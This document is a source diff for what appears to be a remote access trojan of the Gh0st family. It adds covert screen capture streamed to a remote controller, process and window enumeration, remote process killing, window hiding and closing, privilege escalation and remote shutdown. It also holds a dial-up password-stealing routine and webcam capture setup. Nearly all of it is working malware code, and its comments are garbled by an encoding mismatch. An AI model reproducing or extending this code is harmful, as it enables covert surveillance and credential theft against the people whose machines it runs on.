||||
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
|
||||
lpBuffer[0] = TOKEN_BITMAPINFO;
|
||||
|
||||
// ͼ<><CDBC>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><CDB8><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
VirtualFree(lpBuffer, 0, MEM_RELEASE);
|
||||
@@ -170,15 +173,19 @@ DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
|
||||
{
|
||||
CScreenManager *pThis = (CScreenManager *)lparam;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||
pThis->sendBITMAPINFO();
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
pThis->WaitForDialogOpen();
|
||||
|
||||
//<2F><><EFBFBD>͵<EFBFBD>һ֡
|
||||
pThis->sendFirstScreen();
|
||||
try // <20><><EFBFBD>ƶ<EFBFBD>ǿ<EFBFBD>ƹر<C6B9>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
while (pThis->m_bIsWorking)
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
pThis->sendNextScreen();
|
||||
}catch(...){};
|
||||
|
||||
|
@@ -33,13 +33,17 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||||
|
||||
if (!SelectInputWinStation())
|
||||
{
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>洰<EFBFBD><E6B4B0>
|
||||
m_hDeskTopWnd = GetDesktopWindow();
|
||||
|
||||
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44>ٱ<EFBFBD>
|
||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||
}
|
||||
|
||||
m_dwBitBltRop = SRCCOPY;
|
||||
|
||||
m_bAlgorithm = ALGORITHM_SCAN; // Ĭ<><C4AC>ʹ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>㷨
|
||||
// Ĭ<><C4AC>ʹ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>㷨
|
||||
m_bAlgorithm = ALGORITHM_SCAN;
|
||||
m_dwLastCapture = GetTickCount();
|
||||
m_nMaxFrameRate = nMaxFrameRate;
|
||||
m_dwSleep = 1000 / nMaxFrameRate;
|
||||
@@ -50,6 +54,7 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||||
|
||||
m_nStartLine = 0;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>DC
|
||||
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
|
||||
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
|
||||
m_hLineMemDC = ::CreateCompatibleDC(NULL);
|
||||
@@ -57,21 +62,27 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||||
m_lpvLineBits = NULL;
|
||||
m_lpvFullBits = NULL;
|
||||
|
||||
// LPBITMAPINFOλͼ<CEBB><CDBC>Ϣ<EFBFBD>ṹ
|
||||
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
|
||||
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
|
||||
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_lpbmi_full<6C><6C>m_lpvFullBits<74><73><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD>ץȡ<D7A5><C8A1><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD><C3B1>浽<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>Ϊλͼ<CEBB><CDBC><EFBFBD><EFBFBD><EFBFBD>˱<EFBFBD><CBB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5>ڴ<EFBFBD><DAB4>ռ<EFBFBD>
|
||||
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
|
||||
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
|
||||
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
|
||||
|
||||
// <20><><EFBFBD>ڴ<EFBFBD>DC<44><43>HITMAP<41><50>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>
|
||||
// ͨ<><CDA8>m_hFullMemDCץȡ<D7A5><C8A1><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD><EFBFBD><EFBFBD> m_hFullBitmapȻ<70><C8BB><EFBFBD><EFBFBD><EFBFBD>ݱ<EFBFBD><DDB1>浽<EFBFBD><E6B5BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_lpvFullBits<74><73>
|
||||
::SelectObject(m_hFullMemDC, m_hFullBitmap);
|
||||
::SelectObject(m_hLineMemDC, m_hLineBitmap);
|
||||
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
|
||||
|
||||
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
|
||||
|
||||
// <20>㹻<EFBFBD><E3B9BB>
|
||||
// <20>㹻<EFBFBD><E3B9BB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱץȡ<D7A5><C8A1><EFBFBD><EFBFBD>ͼ<EFBFBD>εĻ<CEB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
|
||||
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
|
||||
|
||||
@@ -200,6 +211,8 @@ void CScreenSpy::setAlgorithm(UINT nAlgorithm)
|
||||
InterlockedExchange((LPLONG)&m_bAlgorithm, nAlgorithm);
|
||||
}
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λͼ<CEBB>ṹ
|
||||
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
|
||||
{
|
||||
/*
|
||||
@@ -303,13 +316,16 @@ void CScreenSpy::setCaptureLayer(bool bIsCaptureLayer)
|
||||
|
||||
LPBITMAPINFO CScreenSpy::getBI()
|
||||
{
|
||||
// LPBITMAPINFOλͼ<CEBB><CDBC>Ϣ<EFBFBD>ṹ
|
||||
return m_lpbmi_full;
|
||||
}
|
||||
|
||||
UINT CScreenSpy::getBISize()
|
||||
{
|
||||
// <20><>ǰλͼ<CEBB><CDBC>С
|
||||
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
|
||||
|
||||
// <20>ṹ+λͼX<CDBC>ṹ<EFBFBD><E1B9B9>С
|
||||
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
|
||||
}
|
||||
|
||||
|
@@ -12,13 +12,22 @@
|
||||
#pragma comment(lib,"Psapi.lib")
|
||||
|
||||
#include "until.h"
|
||||
#include <tchar.h>
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CSystemManager::CSystemManager(CClientSocket *pClient) : CManager(pClient)
|
||||
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
|
||||
{
|
||||
SendProcessList();
|
||||
m_caseSystemIs = bHow;
|
||||
if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
else if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendWindowsList();
|
||||
}
|
||||
}
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
@@ -27,20 +36,26 @@ CSystemManager::~CSystemManager()
|
||||
}
|
||||
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
|
||||
SwitchInputDesktop();
|
||||
switch (lpBuffer[0])
|
||||
switch (lpBuffer[0])//<2F><><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĺ<DDB5><C4BA><EFBFBD><EFBFBD><EFBFBD> <20>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
case COMMAND_PSLIST:
|
||||
SendProcessList();
|
||||
case COMMAND_PSLIST: //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
SendProcessList();
|
||||
break;
|
||||
case COMMAND_WSLIST:
|
||||
case COMMAND_WSLIST: //<2F><><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
SendWindowsList();
|
||||
break;
|
||||
case COMMAND_DIALUPASS:
|
||||
SendDialupassList();
|
||||
case COMMAND_DIALUPASS: //<2F><><EFBFBD><EFBFBD>20200530
|
||||
break;
|
||||
case COMMAND_KILLPROCESS:
|
||||
case COMMAND_KILLPROCESS: //<2F>رս<D8B1><D5BD><EFBFBD>
|
||||
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
|
||||
case COMMAND_WINDOW_CLOSE: //<2F>رմ<D8B1><D5B4><EFBFBD>
|
||||
CloseTheWindow(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1> <20><><EFBFBD>ش<EFBFBD><D8B4>ں<EFBFBD>
|
||||
ShowTheWindow(lpBuffer + 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -63,14 +78,18 @@ void CSystemManager::SendProcessList()
|
||||
void CSystemManager::SendWindowsList()
|
||||
{
|
||||
UINT nRet = -1;
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE lpBuffer = getWindowsList();
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
//<2F><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>20200530
|
||||
void CSystemManager::SendDialupassList()
|
||||
{
|
||||
CDialupass pass;
|
||||
@@ -130,6 +149,76 @@ void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
|
||||
SendWindowsList();
|
||||
}
|
||||
|
||||
BOOL CSystemManager::DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath)
|
||||
{
|
||||
TCHAR szDriveStr[500];
|
||||
TCHAR szDrive[3];
|
||||
TCHAR szDevName[100];
|
||||
INT cchDevName;
|
||||
INT i;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (!pszDosPath || !pszNtPath)
|
||||
return FALSE;
|
||||
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
if (GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr))
|
||||
{
|
||||
for (i = 0; szDriveStr[i]; i += 4)
|
||||
{
|
||||
if (!lstrcmpi(&(szDriveStr[i]), "A:\\") || !lstrcmpi(&(szDriveStr[i]), "B:\\"))
|
||||
continue;
|
||||
|
||||
szDrive[0] = szDriveStr[i];
|
||||
szDrive[1] = szDriveStr[i + 1];
|
||||
szDrive[2] = '\0';
|
||||
if (!QueryDosDevice(szDrive, szDevName, 100))//<2F><>ѯ Dos <20>豸<EFBFBD><E8B1B8>
|
||||
return FALSE;
|
||||
|
||||
cchDevName = lstrlen(szDevName);
|
||||
if (_tcsnicmp(pszDosPath, szDevName, cchDevName) == 0)//<2F><><EFBFBD><EFBFBD>
|
||||
{
|
||||
lstrcpy(pszNtPath, szDrive);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lstrcat(pszNtPath, pszDosPath + cchDevName);//<2F><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
lstrcpy(pszNtPath, pszDosPath);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL CSystemManager::GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH])
|
||||
{
|
||||
TCHAR szImagePath[MAX_PATH];
|
||||
HANDLE hProcess;
|
||||
if (!pszFullPath)
|
||||
return FALSE;
|
||||
|
||||
pszFullPath[0] = '\0';
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, dwPID);
|
||||
if (!hProcess)
|
||||
return FALSE;
|
||||
|
||||
if (!GetProcessImageFileName(hProcess, szImagePath, MAX_PATH))
|
||||
{
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!DosPathToNtPath(szImagePath, pszFullPath))
|
||||
{
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
LPBYTE CSystemManager::getProcessList()
|
||||
{
|
||||
HANDLE hSnapshot = NULL; //<2F><><EFBFBD>վ<EFBFBD><D5BE><EFBFBD>
|
||||
@@ -170,12 +259,17 @@ LPBYTE CSystemManager::getProcessList()
|
||||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
|
||||
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
|
||||
{
|
||||
|
||||
//strProcessName[0] = '\0';
|
||||
//ö<>ٵ<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||||
|
||||
//EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bug<75><67>û<EFBFBD><C3BB>Ȩ<EFBFBD><EFBFBD><DEB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>һ<EFBFBD>ȡ<EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD>ȫ<EFBFBD>棬<EFBFBD><E6A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>GetProcessFullPath<74><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>͵<EFBFBD><CDB5><EFBFBD>
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
|
||||
|
||||
//GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
GetProcessFullPath(pe32.th32ProcessID, strProcessName);
|
||||
|
||||
// <20>˽<EFBFBD><CBBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -204,6 +298,7 @@ LPBYTE CSystemManager::getProcessList()
|
||||
return lpBuffer;
|
||||
}
|
||||
|
||||
//<2F><>Ȩ
|
||||
bool CSystemManager::DebugPrivilege(const char *PName,BOOL bEnable)
|
||||
{
|
||||
BOOL bResult = TRUE;
|
||||
@@ -236,6 +331,7 @@ void CSystemManager::ShutdownWindows( DWORD dwReason )
|
||||
DebugPrivilege(SE_SHUTDOWN_NAME,FALSE);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD>ڻص<DABB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
|
||||
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||||
{
|
||||
DWORD dwLength = 0;
|
||||
@@ -245,21 +341,27 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||||
|
||||
char strTitle[1024];
|
||||
memset(strTitle, 0, sizeof(strTitle));
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
|
||||
GetWindowText(hwnd, strTitle, sizeof(strTitle));
|
||||
|
||||
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
|
||||
return true;
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
|
||||
if (lpBuffer == NULL)
|
||||
//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>СΪ1<CEAA><31><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>һ<EFBFBD>ֽ<EFBFBD>Ϊ֪ͨ<CDA8><D6AA><EFBFBD>ƶ˱<C6B6>ʶ
|
||||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
|
||||
|
||||
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
|
||||
dwOffset = LocalSize(lpBuffer);
|
||||
|
||||
//<2F><><EFBFBD>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ڵĴ<DAB5><C4B4><EFBFBD><EFBFBD><EFBFBD> + <20><><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ݽṹΪ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>PID + hwnd + <20><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD> + 0
|
||||
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
|
||||
memcpy((lpBuffer + dwOffset), &hwnd, sizeof(DWORD));
|
||||
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
|
||||
|
||||
*(LPBYTE *)lParam = lpBuffer;
|
||||
@@ -267,6 +369,8 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE CSystemManager::getWindowsList()
|
||||
{
|
||||
LPBYTE lpBuffer = NULL;
|
||||
@@ -274,6 +378,27 @@ LPBYTE CSystemManager::getWindowsList()
|
||||
//ö<><C3B6><EFBFBD><EFBFBD>Ļ<EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>еĶ<D0B5><C4B6>㴰<EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؽ<EFBFBD><D8BD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD>һ<EFBFBD><D2BB>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//EnumWindows<77><73>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5>ֱ<EFBFBD><D6B1>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĶ<D0B5><C4B6>㴰<EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD>ص<DFBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FALSE.
|
||||
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>TOKEN_WSLIST<53><54><EFBFBD>ض<EFBFBD>ʶ<EFBFBD><CAB6>
|
||||
lpBuffer[0] = TOKEN_WSLIST;
|
||||
return lpBuffer;
|
||||
}
|
||||
|
||||
|
||||
//<2F>رմ<D8B1><D5B4><EFBFBD>
|
||||
void CSystemManager::CloseTheWindow(LPBYTE buf)
|
||||
{
|
||||
DWORD hwnd;
|
||||
memcpy(&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
::PostMessage((HWND__ *)hwnd, WM_CLOSE, 0, 0); //<2F>ڷ<F2B4B0BF><DAB7>ر<CDB9><D8B1><EFBFBD>Ϣ
|
||||
}
|
||||
|
||||
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
void CSystemManager::ShowTheWindow(LPBYTE buf)
|
||||
{
|
||||
DWORD hwnd;
|
||||
DWORD dHow;
|
||||
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ShowWindow((HWND__ *)hwnd, dHow);
|
||||
}
|
@@ -14,7 +14,7 @@
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
CSystemManager(CClientSocket *pClient);
|
||||
CSystemManager(CClientSocket *pClient, BYTE bHow);//bHow<6F>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵı<DCB5>־
|
||||
virtual ~CSystemManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
|
||||
@@ -22,12 +22,18 @@ public:
|
||||
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
|
||||
static void ShutdownWindows(DWORD dwReason);
|
||||
private:
|
||||
BYTE m_caseSystemIs;//<2F><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD>̻<EFBFBD><CCBB>ߴ<EFBFBD><DFB4>ڵı<DAB5><C4B1><EFBFBD>
|
||||
|
||||
BOOL GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH]);
|
||||
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath);
|
||||
LPBYTE getProcessList();
|
||||
LPBYTE getWindowsList();
|
||||
void SendProcessList();
|
||||
void SendWindowsList();
|
||||
void SendDialupassList();
|
||||
void KillProcess(LPBYTE lpBuffer, UINT nSize);
|
||||
void ShowTheWindow(LPBYTE buf);
|
||||
void CloseTheWindow(LPBYTE buf);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
||||
|
@@ -21,10 +21,11 @@ CVideoCap::CVideoCap()
|
||||
|
||||
if (!IsWebCam() || m_bIsConnected)
|
||||
return;
|
||||
//"#32770Ĭ<30>ϵĴ<CFB5><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
